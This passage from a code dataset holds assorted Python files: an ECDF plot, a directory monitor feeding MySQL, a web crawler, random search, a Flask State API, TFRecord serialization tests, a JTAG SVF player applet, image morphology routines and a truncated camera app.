rc={'axes.labelsize': 16})\n\n#Load the data\ndata_high = np.loadtxt('data/xa_high_food.csv')\ndata_low = np.loadtxt('data/xa_low_food.csv')\n\ndef ecdf(data):\n x = np.sort(data)\n y = np.arange(1, len(data)+1)/len(data)\n\n return (x, y)\n\nx_low = ecdf(data_low)[0]\ny_low = ecdf(data_low)[1]\nx_high = ecdf(data_high)[0]\ny_high = ecdf(data_high)[1]\n\n# Build figure\nfig, ax = plt.subplots(1, 1)\n_ = ax.set_xlabel('Cross sectional area (µm$^2$)')\n_ = ax.set_ylabel('ECDF')\n\n#paint out plot\nlow = ax.plot(x_low, y_low)\nhigh = ax.plot(x_high, y_high)\n_ = ax.legend(labels=('low', 'high'), loc='lower right')\nplt.show()\n","sub_path":"23_24_pt_3.py","file_name":"23_24_pt_3.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"281153097","text":"import os\nimport win32file\nimport datetime\nimport win32con\nimport threading\n\nimport wh_dat\n\ndef main():\n \"\"\" \n 监听某目录的文件,如果文件有更新,则调用函数读取已经更新的\n 文件,被调用的函数wh_dat.main会把更新的数据存储到数据库 \n \"\"\"\n ACTIONS = {\n 1: \"Created\",\n 2: \"Deleted\",\n 3: \"Updated\",\n 4: \"Renamed from something\",\n 5: \"Renamed to something\"\n }\n\n FILE_LIST_DIRECTORY = win32con.GENERIC_READ | win32con.GENERIC_WRITE\n path_to_watch = r'C:\\wh6模拟版\\Data' # 要监听文件的路径\n hDir = win32file.CreateFile(\n path_to_watch,\n FILE_LIST_DIRECTORY,\n win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE,\n None,\n win32con.OPEN_EXISTING,\n win32con.FILE_FLAG_BACKUP_SEMANTICS,\n None\n )\n\n while 1:\n results = win32file.ReadDirectoryChangesW(\n hDir, # handle(句柄):要监视的目录的句柄。这个目录必须用 FILE_LIST_DIRECTORY 访问权限打开。 \n 1024, # size(大小): 为结果分配的缓冲区大小。\n True, # bWatchSubtree: 指定 ReadDirectoryChangesW 函数是否监视目录或目录树。\n win32con.FILE_NOTIFY_CHANGE_FILE_NAME |\n win32con.FILE_NOTIFY_CHANGE_DIR_NAME |\n win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |\n win32con.FILE_NOTIFY_CHANGE_SIZE |\n win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |\n win32con.FILE_NOTIFY_CHANGE_SECURITY,\n None,\n None)\n for action, file in results:\n full_filename = os.path.join(path_to_watch, file)\n status = ACTIONS.get(action, \"Unknown\")\n print(full_filename, status)\n if status == \"Updated\" and '.dat' in full_filename:\n insert_size = whcj.main(full_filename)\n if insert_size is not None:\n print(str(datetime.datetime.now())[:19], ' Update {} data to the MySQL database.'.format(insert_size))\n else:\n print(str(datetime.datetime.now())[:19], '字典里没有此文件!')\n\nif __name__ == '__main__':\n # 初始化文华财经类\n whcj = wh_dat.WHCJ()\n t1=threading.Thread(target=main)\n t2=threading.Thread(target=whcj.runs)\n t1.start()\n t2.start()","sub_path":"2018/file_monitor.py","file_name":"file_monitor.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"637812580","text":"import indexer\nfrom MyCrawler import *\n\ncounter = 0\nlinks = set()\ndata = {}\n\nmyCrawler = MyCrawler('https://pcbee.gr/', 200, 0, 8)\nmyCrawler.boot()\nmyCrawler.queue_to_set()\nmyCrawler.print_crawler()\n\n# crawl pages until counter reaches num_of_pages\nwhile counter < myCrawler.num_of_pages:\n if MyCrawler.queue:\n link = MyCrawler.queue.pop()\n else:\n print(\"Empty queue.\")\n break\n\n if link not in MyCrawler.crawled:\n links = myCrawler.scrape_links(link)\n print(\"new links: \", links)\n print(\"Queue after pop: \", MyCrawler.queue)\n\n for page_link in links:\n if page_link not in MyCrawler.crawled:\n MyCrawler.queue.add(page_link)\n\n data[link] = MyCrawler.scrape_data(link)\n MyCrawler.crawled.add(link)\n counter = counter + 1\n print(\"Queue after append: \", MyCrawler.queue)\n print(\"Crawled after append: \", MyCrawler.crawled)\n\n print(counter)\n\n# for link in data:\n# print(link, data[link])\nprint(indexer.indexing_data(data))\n\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"339495162","text":"import numpy as np\n\n\"\"\"Implementing random search in python\nInput: NumIterations, ProblemSize, SearchSpace\nOutput: Best cost and candidate\n\n\"\"\"\n\n\n\ndef objective_function(candidate_vector):\n cost = 0\n # objective function x^2 - 5.0 \n for x in candidate_vector:\n cost += (x ** 2) - 5.0\n return cost\n\ndef select_candidate(problem_size):\n list_cand = []\n for val in range(problem_size):\n #here [-5,5] is the search space\n candidate = np.random.uniform(-5, 5)\n list_cand.append(candidate)\n\n vector = np.array(list_cand)\n return vector\n \n\n\ndef search(no_of_iterations, problem_size):\n best_cost = None\n best_candidate = None\n for i in range(no_of_iterations):\n candidate_vector=select_candidate(problem_size)\n # print \"candidate : \",candidate_vector\n cost = objective_function(candidate_vector)\n if not best_cost:\n best_cost = cost\n best_candidate = candidate_vector\n elif cost < best_cost:\n best_cost = cost\n best_candidate = candidate_vector\n return best_candidate, best_cost\n\nif __name__ == '__main__':\n problem_size=2\n search_space=[-5,5]\n no_of_iter=10\n best_candidate, best_cost = search(no_of_iter,problem_size)\n print (\"best_cost:\"+ str(best_cost) , \"best_candidate :\" + str(best_candidate))\n\n","sub_path":"random_search.py","file_name":"random_search.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"542686271","text":"\"\"\"\nInformation common to all cim document views.\n\"\"\"\n\n# Module imports.\nimport abc\nfrom abc import ABCMeta\nfrom abc import abstractmethod\nfrom abc import abstractproperty\n\nimport lxml\nfrom lxml import etree as et\n\nfrom pimms_apps.qn.viewer.view_exception import ViewException\n\n# Supported view formats.\nVIEW_FORMAT_HTML = u\"html\"\nVIEW_FORMAT_XML = u\"xml\"\nVIEW_FORMAT_PDF = u\"pdf\"\n\n# Supported view modes.\nVIEW_MODE_FULL = \"full\"\nVIEW_MODE_PARTIAL = \"partial\"\n\n\nclass RendererBase(object):\n \"\"\"\n Encapsulates information common to all cim document views.\n \"\"\"\n # Abstract Base Class module - see http://docs.python.org/library/abc.html\n __metaclass__ = ABCMeta\n\n def __init__(self, cim_xml, format=VIEW_FORMAT_HTML, mode=VIEW_MODE_FULL):\n \"\"\"\n Constructor.\n \"\"\"\n # ... set cim_xml;\n if isinstance(cim_xml, et._Element) == False:\n raise ViewException(\"Cim xml representation, must be \\\n an instance of etree.Element.\")\n self._cim_xml = cim_xml \n # ... set view format;\n if format != VIEW_FORMAT_HTML and \\\n format != VIEW_FORMAT_XML and \\\n format != VIEW_FORMAT_PDF:\n raise ViewException(\"Unsupported view format :: {0}\".format(format))\n self._view_format = format\n # ... set view mode;\n if mode != VIEW_MODE_FULL and \\\n mode != VIEW_MODE_PARTIAL:\n raise ViewException(\"Unsupported view mode :: {0}\".format(mode))\n self._view_mode = mode\n\n\n @abstractproperty\n def view_type(self):\n \"\"\"\n Unique key identifying the view type.\n \"\"\"\n pass\n\n\n @property\n def view_format(self):\n \"\"\"\n The mode to render (html, xml, pdf ...etc.).\n \"\"\"\n return self._view_format\n\n\n @property\n def view_mode(self):\n \"\"\"\n The mode to render (full, partial ...etc.).\n \"\"\"\n return self._view_mode\n\n\n @property\n def cim_xml(self):\n \"\"\"\n CIM xml against which a view is to be rendered.\n \"\"\"\n return self._cim_xml\n\n\n @abstractmethod\n def render(self):\n \"\"\"\n Renders the view in the relevant format/mode.\n \"\"\"\n pass","sub_path":"pimms_apps/qn/viewer/base_renderer.py","file_name":"base_renderer.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"315876867","text":"#! /usr/bin/env python3\n\nfrom tensorflow._api.v2 import dtypes\nfrom tensorflow.python.ops.gen_parsing_ops import serialize_tensor\nfrom steves_utils import utils\nimport tensorflow as tf\nimport numpy as np\nimport tensorflow as tf\nimport unittest\n\n\n\"\"\"\nA brief explanation of this madness:\nWe are taking an example (either batched or unbatched) from a TF dataset, and converting it into a protobuf.\nTF's handling of non-scalars in a protobuf looks bad, so I simply serialize the tensors, then stick them in\nbyte features.\n\nThe flow can be seen in the unit tests.\n\nThe importan functions here are\nexample_to_tf_record, \n\"\"\"\n\ndef _bytes_feature(value):\n \"\"\"Returns a bytes_list from a string / byte.\"\"\"\n if isinstance(value, type(tf.constant(0))):\n value = value.numpy() # BytesList won't unpack a string from an EagerTensor.\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=value))\n\ndef example_to_tf_record(example):\n serialized_IQ = tf.io.serialize_tensor(example[\"IQ\"]).numpy()\n serialized_index_in_file = tf.io.serialize_tensor(example[\"index_in_file\"]).numpy()\n serialized_serial_number_id = tf.io.serialize_tensor(example[\"serial_number_id\"]).numpy()\n serialized_distance_feet = tf.io.serialize_tensor(example[\"distance_feet\"]).numpy()\n serialized_run = tf.io.serialize_tensor(example[\"run\"]).numpy()\n\n feature = {\n \"IQ\": _bytes_feature([serialized_IQ]),\n \"index_in_file\": _bytes_feature([serialized_index_in_file]),\n \"serial_number_id\": _bytes_feature([serialized_serial_number_id]),\n \"distance_feet\": _bytes_feature([serialized_distance_feet]),\n \"run\": _bytes_feature([serialized_run]),\n }\n\n return tf.train.Example(features=tf.train.Features(feature=feature))\n\n_tf_record_description = {\n 'IQ': tf.io.FixedLenFeature([], tf.string, default_value=''),\n 'index_in_file': tf.io.FixedLenFeature([], tf.string, default_value=''),\n 'serial_number_id': tf.io.FixedLenFeature([], tf.string, default_value=''),\n 'distance_feet': tf.io.FixedLenFeature([], tf.string, default_value=''),\n 'run': tf.io.FixedLenFeature([], tf.string, default_value=''),\n}\ndef serialized_tf_record_to_example(serialized_example):\n parsed_example = tf.io.parse_single_example(serialized_example, _tf_record_description)\n\n parsed_example[\"IQ\"] = tf.io.parse_tensor(parsed_example[\"IQ\"], tf.float64)\n parsed_example[\"index_in_file\"] = tf.io.parse_tensor(parsed_example[\"index_in_file\"], tf.int64)\n parsed_example[\"serial_number_id\"] = tf.io.parse_tensor(parsed_example[\"serial_number_id\"], tf.uint8)\n parsed_example[\"distance_feet\"] = tf.io.parse_tensor(parsed_example[\"distance_feet\"], tf.uint8)\n parsed_example[\"run\"] = tf.io.parse_tensor(parsed_example[\"run\"], tf.uint8)\n\n return parsed_example\n\nclass Test_serialization(unittest.TestCase):\n def test_serialize_deserialize_no_batching(self):\n from steves_utils.ORACLE.simple_oracle_dataset_factory import Simple_ORACLE_Dataset_Factory\n from steves_utils.ORACLE.utils import ORIGINAL_PAPER_SAMPLES_PER_CHUNK, ALL_SERIAL_NUMBERS\n\n ds, cardinality = Simple_ORACLE_Dataset_Factory(\n ORIGINAL_PAPER_SAMPLES_PER_CHUNK, \n runs_to_get=[1],\n distances_to_get=[8],\n serial_numbers_to_get=ALL_SERIAL_NUMBERS[:3]\n )\n\n for e in ds.take(10000):\n record = example_to_tf_record(e)\n serialized = record.SerializeToString()\n deserialized = serialized_tf_record_to_example(serialized)\n\n self.assertTrue(\n np.array_equal(\n e[\"IQ\"].numpy(),\n deserialized[\"IQ\"].numpy()\n )\n )\n\n # Just a dumb sanity check\n self.assertFalse(\n np.array_equal(\n e[\"IQ\"].numpy(),\n deserialized[\"IQ\"].numpy()[0]\n )\n )\n\n def test_serialize_deserialize_with_batching(self):\n from steves_utils.ORACLE.simple_oracle_dataset_factory import Simple_ORACLE_Dataset_Factory\n from steves_utils.ORACLE.utils import ORIGINAL_PAPER_SAMPLES_PER_CHUNK, ALL_SERIAL_NUMBERS\n\n ds, cardinality = Simple_ORACLE_Dataset_Factory(\n ORIGINAL_PAPER_SAMPLES_PER_CHUNK, \n runs_to_get=[1],\n distances_to_get=[8],\n serial_numbers_to_get=ALL_SERIAL_NUMBERS[:3]\n )\n\n for e in ds.batch(1000):\n record = example_to_tf_record(e)\n serialized = record.SerializeToString()\n deserialized = serialized_tf_record_to_example(serialized)\n\n self.assertTrue(\n np.array_equal(\n e[\"IQ\"].numpy(),\n deserialized[\"IQ\"].numpy()\n )\n )\n\n # Just a dumb sanity check\n self.assertFalse(\n np.array_equal(\n e[\"IQ\"].numpy(),\n deserialized[\"IQ\"].numpy()[0]\n )\n )\n\nclass Test_basic_serialization(unittest.TestCase):\n def test_basic_serialization(self):\n c = tf.constant(1337, dtype=tf.uint8)\n\n serialized_c = tf.io.serialize_tensor(c).numpy()\n\n\n # if example[\"index_in_file\"].shape != ():\n # if True:\n feature = {\n \"c\": _bytes_feature([serialized_c]),\n }\n\n example = tf.train.Example(features=tf.train.Features(feature=feature))\n\n serialized_example = example.SerializeToString()\n\n _tf_record_description = {\n 'c': tf.io.FixedLenFeature([], tf.string, default_value=''),\n }\n\n parsed_example = tf.io.parse_single_example(serialized_example, _tf_record_description)\n parsed_example[\"c\"] = tf.io.parse_tensor(parsed_example[\"c\"], tf.uint8)\n\n self.assertTrue(\n np.array_equal(\n parsed_example[\"c\"],\n c\n )\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()\n\n # from steves_utils.ORACLE.simple_oracle_dataset_factory import Simple_ORACLE_Dataset_Factory\n # from steves_utils.ORACLE.utils import ORIGINAL_PAPER_SAMPLES_PER_CHUNK, ALL_SERIAL_NUMBERS\n\n # ds, cardinality = Simple_ORACLE_Dataset_Factory(\n # ORIGINAL_PAPER_SAMPLES_PER_CHUNK, \n # runs_to_get=[1],\n # distances_to_get=[8],\n # serial_numbers_to_get=ALL_SERIAL_NUMBERS[:3]\n # )\n\n # for e in ds.batch(2).take(1):\n\n # record = example_to_tf_record(e)\n # serialized = record.SerializeToString()\n # deserialized = serialized_tf_record_to_example(serialized)\n\n # print(deserialized)","sub_path":"steves_utils/ORACLE/OLD/serialization.py","file_name":"serialization.py","file_ext":"py","file_size_in_byte":6793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"180715694","text":"#!/usr/bin/python3\n\"\"\"\nA new view for State objects that handles\nall default RestFul API actions\n\"\"\"\nfrom flask import abort, jsonify, request\nfrom models import storage\nfrom models.state import State\nfrom api.v1.views import app_views\n\n\n@app_views.route('/states/', methods=['GET'], strict_slashes=False)\n@app_views.route('/states', methods=['GET'], strict_slashes=False)\ndef get_state(state_id=None):\n \"\"\"response to 'GET'\"\"\"\n new_dict = storage.all(State)\n\n if request.method == 'GET':\n\n if state_id is None:\n states_list = []\n\n for key, value in new_dict.items():\n states_list.append(value.to_dict())\n return jsonify(states_list)\n\n else:\n for key, value in new_dict.items():\n if value.id == state_id:\n return jsonify(value.to_dict())\n abort(404)\n\n\n@app_views.route('/states/',\n methods=['DELETE'],\n strict_slashes=False)\ndef delete_state(state_id=None):\n \"\"\"response to 'DELETE'\"\"\"\n\n new_dict = storage.all(State)\n empty = {}\n\n if state_id is None:\n abort(404)\n\n for key, value in new_dict.items():\n\n if value.id == state_id:\n storage.delete(value)\n storage.save()\n return jsonify(empty), 200\n\n abort(404)\n\n\n@app_views.route('/states', methods=['POST'], strict_slashes=False)\ndef post_state():\n \"\"\"response to 'POST'\"\"\"\n\n new_dict = storage.all(State)\n flag = 0\n\n if not request.json:\n abort(400, 'Not a JSON')\n\n body = request.get_json()\n for key in body:\n if key == 'name':\n flag = 1\n\n if flag == 0:\n abort(400, \"Missing name\")\n\n new_state = State(**body)\n storage.new(new_state)\n storage.save()\n\n new_state_dict = new_state.to_dict()\n\n return jsonify(new_state_dict), 201\n\n\n@app_views.route('/states/', methods=['PUT'], strict_slashes=False)\ndef put_state(state_id=None):\n \"\"\"response to 'PUT'\"\"\"\n new_dict = storage.all(State)\n\n if not request.json:\n abort(400, 'Not a JSON')\n\n body = request.get_json()\n\n for key, value in new_dict.items():\n\n if value.id == state_id:\n\n for k, v in body.items():\n setattr(value, k, v)\n\n storage.save()\n return jsonify(value.to_dict()), 200\n\n abort(404)\n","sub_path":"api/v1/views/states.py","file_name":"states.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"71328789","text":"import struct\nimport logging\nimport argparse\nfrom bitarray import bitarray\n\nfrom .. import *\nfrom ..jtag import JTAGApplet\nfrom ...arch.jtag import *\nfrom ...protocol.jtag_svf import *\n\n\nclass SVFOperation:\n def __init__(self, tdi, smask, tdo, mask):\n self.tdi = tdi\n self.smask = smask\n self.tdo = tdo\n self.mask = mask\n\n def __add__(self, other):\n assert isinstance(other, SVFOperation)\n\n if self.tdo is None and other.tdo is None:\n # Propagate \"TDO don't care\".\n tdo = None\n else:\n # Replace \"TDO don't care\" with all-don't-care mask bits (which are guaranteed\n # to be in that state by SVFParser).\n tdo = (self.tdo or self.mask) + (other.tdo or other.mask)\n\n return SVFOperation(self.tdi + other.tdi,\n self.smask + other.smask,\n tdo,\n self.mask + other.mask)\n\n\nclass JTAGSVFInterface(SVFEventHandler):\n def __init__(self, interface, logger, frequency):\n self.lower = interface\n self._logger = logger\n self._level = logging.DEBUG if self._logger.name == __name__ else logging.TRACE\n self._frequency = frequency\n\n self._endir = \"IDLE\"\n self._enddr = \"IDLE\"\n\n self._hir = SVFOperation(bitarray(), bitarray(), None, bitarray())\n self._tir = SVFOperation(bitarray(), bitarray(), None, bitarray())\n self._hdr = SVFOperation(bitarray(), bitarray(), None, bitarray())\n self._tdr = SVFOperation(bitarray(), bitarray(), None, bitarray())\n\n def _log(self, message, *args):\n self._logger.log(self._level, \"SVF: \" + message, *args)\n\n async def _enter_state(self, state, path=[]):\n if path:\n raise GlasgowAppletError(\"explicitly providing TAP state path is not supported\")\n\n if state == \"RESET\":\n await self.lower.enter_test_logic_reset(force=False)\n elif state == \"IDLE\":\n await self.lower.enter_run_test_idle()\n elif state == \"IRPAUSE\":\n await self.lower.enter_pause_ir()\n elif state == \"DRPAUSE\":\n await self.lower.enter_pause_dr()\n else:\n assert False\n\n async def svf_frequency(self, frequency):\n if frequency is not None and frequency < self._frequency:\n raise GlasgowAppletError(\"FREQUENCY command requires a lower frequency (%.3f kHz) \"\n \"than the applet is configured for (%.3f kHz)\"\n % (frequency / 1e3, args.frequency / 1e3))\n\n async def svf_trst(self, mode):\n if mode == \"ABSENT\":\n pass # ignore; the standard doesn't seem to specify what to do?\n elif mode == \"Z\":\n await self.lower.set_trst(state=None)\n elif mode == \"ON\":\n await self.lower.set_trst(state=True)\n elif mode == \"OFF\":\n await self.lower.set_trst(state=False)\n else:\n assert False\n\n async def svf_state(self, state, path):\n await self._enter_state(state, path)\n\n async def svf_endir(self, state):\n self._endir = state\n\n async def svf_enddr(self, state):\n self._enddr = state\n\n async def svf_hir(self, tdi, smask, tdo, mask):\n self._hir = SVFOperation(tdi, smask, tdo, mask)\n\n async def svf_tir(self, tdi, smask, tdo, mask):\n self._tir = SVFOperation(tdi, smask, tdo, mask)\n\n async def svf_hdr(self, tdi, smask, tdo, mask):\n self._hdr = SVFOperation(tdi, smask, tdo, mask)\n\n async def svf_tdr(self, tdi, smask, tdo, mask):\n self._tdr = SVFOperation(tdi, smask, tdo, mask)\n\n async def svf_sir(self, tdi, smask, tdo, mask):\n op = self._hir + SVFOperation(tdi, smask, tdo, mask) + self._tir\n await self.lower.enter_shift_ir()\n if op.tdo is None:\n await self.lower.shift_tdi(op.tdi)\n else:\n tdo = await self.lower.shift_tdio(op.tdi)\n if tdo & op.mask != op.tdo & op.mask:\n raise GlasgowAppletError(\"SIR command failed: TDO <%s> & <%s> != <%s>\"\n % (tdo.to01(), op.mask.to01(), op.tdo.to01()))\n await self._enter_state(self._endir)\n\n async def svf_sdr(self, tdi, smask, tdo, mask):\n op = self._hdr + SVFOperation(tdi, smask, tdo, mask) + self._tdr\n await self.lower.enter_shift_dr()\n if op.tdo is None:\n await self.lower.shift_tdi(op.tdi)\n else:\n tdo = await self.lower.shift_tdio(op.tdi)\n if tdo & op.mask != op.tdo & op.mask:\n raise GlasgowAppletError(\"SDR command failed: TDO <%s> & <%s> != <%s>\"\n % (tdo.to01(), op.mask.to01(), op.tdo.to01()))\n await self._enter_state(self._enddr)\n\n async def svf_runtest(self, run_state, run_count, run_clock, min_time, max_time, end_state):\n if run_clock != \"TCK\":\n raise GlasgowAppletError(\"RUNTEST clock %s is not supported\" % run_count)\n if run_count is None or min_time is not None and run_count / self._frequency < min_time:\n run_count = self._frequency * min_time\n if max_time is not None and run_count / self._frequency > max_time:\n self._logger.warning(\"RUNTEST exceeds maximum time: %d cycles (%.3f s) > %.3f s\"\n % (run_count, run_count / self._frequency, max_time))\n\n await self._enter_state(run_state)\n await self.lower.pulse_tck(run_count)\n await self._enter_state(end_state)\n\n async def svf_piomap(self, mapping):\n raise GlasgowAppletError(\"the PIOMAP command is not supported\")\n\n async def svf_pio(self, vector):\n raise GlasgowAppletError(\"the PIO command is not supported\")\n\n\nclass JTAGSVFApplet(JTAGApplet, name=\"jtag-svf\"):\n logger = logging.getLogger(__name__)\n help = \"play SVF test vectors via JTAG\"\n description = \"\"\"\n Play SVF test vectors via the JTAG interface.\n\n This applet currently does not implement some SVF features:\n * PIOMAP and PIO are not supported;\n * Explict state path may not be specified for STATE;\n * The SCK clock in RUNTEST is not supported.\n\n If any commands requiring these features are encountered, the applet terminates itself.\n \"\"\"\n\n async def run(self, device, args):\n jtag_iface = await super().run(device, args)\n await jtag_iface.pulse_trst()\n\n return JTAGSVFInterface(jtag_iface, self.logger, args.frequency * 1000)\n\n @classmethod\n def add_interact_arguments(cls, parser):\n parser.add_argument(\n \"svf_file\", metavar=\"SVF-FILE\", type=argparse.FileType(\"r\"),\n help=\"test vector to play\")\n\n async def interact(self, device, args, svf_iface):\n svf_parser = SVFParser(args.svf_file.read(), svf_iface)\n while True:\n coro = svf_parser.parse_command()\n if not coro: break\n\n for line in svf_parser.last_command().split(\"\\n\"):\n line = line.strip()\n if line: svf_iface._log(line)\n\n await coro\n","sub_path":"software/glasgow/applet/jtag_svf/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"328276633","text":"from PIL import Image, ImageFilter\nimport numpy as np\nfrom itertools import product\nimport sys\n\nclass Pixel(object):\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n#Abre uma imagem\ndef abrir_imagem(nome_img):\n img = Image.open(nome_img)\n return img\n\ndef converter_para_escala_de_cinza(img): \n return img.convert('L')\n\ndef binarizar_imagem(img):\n img = converter_para_escala_de_cinza(img)\n pix = img.load()\n \n for i in range(img.width):\n for j in range(img.height):\n if pix[i,j] >= 100:\n pix[i,j] = 255\n else:\n pix[i,j] = 0\n return img\n \n\n\n#Imprime a matriz da imagem passada como parâmetro\ndef imprimir_matriz(img):\n print(np.asarray(img.convert('L')))\n\n\ndef dilatacao(img):\n pix = img.load()\n\n pixels_to_paint = []\n \n width, height = img.size\n for j, i in product(range(height-1), range(width-1)):\n if i > 0 and j > 0:\n if pix[i-1,j] == 255 or pix[i+1, j] == 255 or pix[i,j+1] == 255 or pix[i,j-1] == 255:\n pixels_to_paint.append(Pixel(i,j))\n \n for p in pixels_to_paint:\n # p = pixels_to_paint.pop()\n pix[p.x, p.y] = 255\n \n return img\n\ndef erosao(img):\n pix = img.load()\n\n pixels_to_paint = []\n \n width, height = img.size\n for j, i in product(range(height-1), range(width-1)):\n if i > 0 and j > 0:\n if pix[i-1,j] == 255 and pix[i+1, j] == 255 and pix[i,j+1] == 255 and pix[i,j-1] == 255:\n pixels_to_paint.append(Pixel(i,j))\n \n # for j, i in product(range(height), range(width)):\n # pix[i,j] = 0\n \n for p in pixels_to_paint:\n # p = pixels_to_paint.pop()\n pix[p.x, p.y] = 0\n\n\n return img\n\ndef abertura(img):\n img = erosao(img)\n img = dilatacao(img)\n return img\n\ndef fechamento(img):\n #img = binarizar_imagem(img)\n img = dilatacao(img)\n img = erosao(img)\n return img\n\ndef extracaoContorno(img):\n new_img = Image.new('L', (img.width, img.height), color = 'black')\n imgOriginal = converter_para_escala_de_cinza(img)\n img = binarizar_imagem(img)\n imgErosao = erosao(img)\n pixOriginal = imgOriginal.load()\n pixErosao = imgErosao.load()\n pixNovo = new_img.load()\n\n for j in range(img.height):\n for i in range(img.width):\n pixNovo[i,j] = pixOriginal[i,j] - pixErosao[i,j]\n\n return new_img\n\ndef main(operacao, nome_da_imagem):\n \n # img = abrir_imagem('word.png')\n # img = abrir_imagem('Google_logo.png')\n # img = abrir_imagem('BolsoSimpson.jpg')\n\n img = abrir_imagem(nome_da_imagem)\n img = binarizar_imagem(img)\n img.show()\n\n if operacao == 'dilatacao':\n img = dilatacao(img)\n elif operacao == 'erosao':\n img = erosao(img)\n elif operacao == 'abertura':\n img = abertura(img)\n elif operacao == 'fechamento':\n img = fechamento(img)\n elif operacao == 'extracaoContorno':\n img = extracaoContorno(img)\n else:\n print(\"Algo deu errado!\")\n img.show()\n \n \n \n\nif __name__ == '__main__':\n # main()\n if len(sys.argv) < 3 or (sys.argv[1] != 'dilatacao' and sys.argv[1] != 'erosao' and sys.argv[1] != 'abertura' and sys.argv[1] != 'fechamento' and sys.argv[1] != 'extracaoContorno'):\n print(\"Execute assim: 'python dilatacao\\&erosao.py dilatacao|erosao nomeDaImagem'\")\n else:\n main(sys.argv[1], sys.argv[2])\n","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":3440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"574835624","text":"n = int(input(\"Enter no: \"))\r\nfor i in range(1,n+1): # for rows\r\n for j in range(1,n+1): # for columns\r\n print(\"*\",end=\" \") #if end=\"\" not written all stars are printed in a single vertical line \r\n print(end=\"\\n\") #if print having \\n not written, all stars are written on a single horizontal line \r\n \r\n\r\n'''\r\n\r\n****\r\n****\r\n****\r\n****\r\n\r\n'''","sub_path":"pat1.py","file_name":"pat1.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"273046563","text":"# -*- coding: utf-8 -*-\nfrom db_engine import db_settings as ds\nfrom .engine import DBEngine\n\n\nclass PostgreEngine(DBEngine):\n \"\"\" A PostgreSQL DB engine implementation\n\n It's a re-encapsulated DB engine class powered by sqlalchemy.engine.base.Engine.\n\n Attributes:\n db_url: A variable expected to store a database url\n engine_instance: A configured sqlalchemy.engine.base.Engine object\n connection: A connection built by the engine\n \"\"\"\n\n def __init__(self):\n \"\"\"Constructor method\"\"\"\n super().__init__()\n self.db_url = ds.POSTGRE_DB_URL\n self.engine_instance = self.setup(self.db_url)\n self.connection = self.connect_db()\n","sub_path":"db_engine/postgre_engine.py","file_name":"postgre_engine.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"299245878","text":"import tkinter as tk\nimport cv2\nimport numpy as np\nfrom PIL import Image, ImageTk\nimport time\nfrom datetime import datetime\nimport training\nimport face_recognition\n\ndefault_cam = 0\nfps = 5\n\nclass CamProgram:\n def __init__(self,win):\n\n image_empty = np.zeros([480,640,3], np.uint8)\n cv_img = cv2.cvtColor(image_empty, cv2.COLOR_BGR2RGB)\n img = Image.fromarray(cv_img);\n self.empty_image= ImageTk.PhotoImage(image = img)\n\n self.is_cam_open = False\n\n # FRAMES\n main_frame = tk.Frame(win)\n cam_frame = tk.Frame(main_frame)\n right_frame = tk.Frame(main_frame)\n\n main_frame.grid(row = 0, column = 0)\n cam_frame.grid(row = 0, column = 0)\n right_frame.grid(row = 0, column = 1)\n\n # Camera Frame\n self.cam_label = tk.Label(cam_frame,image = self.empty_image)\n\n\n # Right Frame\n self.open_cam_button = tk.Button(right_frame,text = 'Open the Camera', command = self.open_cam_button_fnc)\n self.pause_cam_button = tk.Button(right_frame,text = 'Pause the Camera', command = self.pause_cam)\n self.close_cam_button = tk.Button(right_frame,text = 'Close the Camera', command = self.close_cam)\n\n\n # Placing Camera Frame\n self.cam_label.grid(row = 0, column = 0)\n\n # Placing Right Frame\n self.open_cam_button.grid(row = 0, column = 0)\n self.pause_cam_button.grid(row = 1, column = 0)\n self.close_cam_button.grid(row = 2, column = 0)\n\n\n def open_cam_button_fnc(self):\n global is_moving_stat\n global default_cam\n global fps\n is_moving_stat = False\n self.cap = cv2.VideoCapture(default_cam)\n ret, self.prev_frame = self.cap.read()\n ret, self.frame = self.cap.read()\n self.is_cam_open = True\n self.fourcc = cv2.VideoWriter_fourcc(*'XVID')\n self.out = cv2.VideoWriter('MyVideo.avi', self.fourcc, fps, (640,480))\n self.open_cam()\n\n\n def open_cam(self):\n global is_moving_stat\n global counter2\n global counter3\n if self.is_cam_open == True:\n self.open_cam_button['state'] = 'disabled'\n now = datetime.now()\n self.current_time = now.strftime(\"%d/%m/%Y %H:%M:%S\")\n cv2.putText(self.frame,self.current_time,(280,30),cv2.FONT_HERSHEY_SIMPLEX,1,[0,0,0],2)\n frm2 = self.frame.copy()\n is_moving = self.motion_detection(frm2)\n if counter2 > 10:\n frame2 = self.check_face(frm2)\n counter2 = 0\n else:\n frame2 = frm2\n counter2 += 1\n frame_rgb = cv2.cvtColor(frame2,cv2.COLOR_BGR2RGB)\n if is_moving:\n 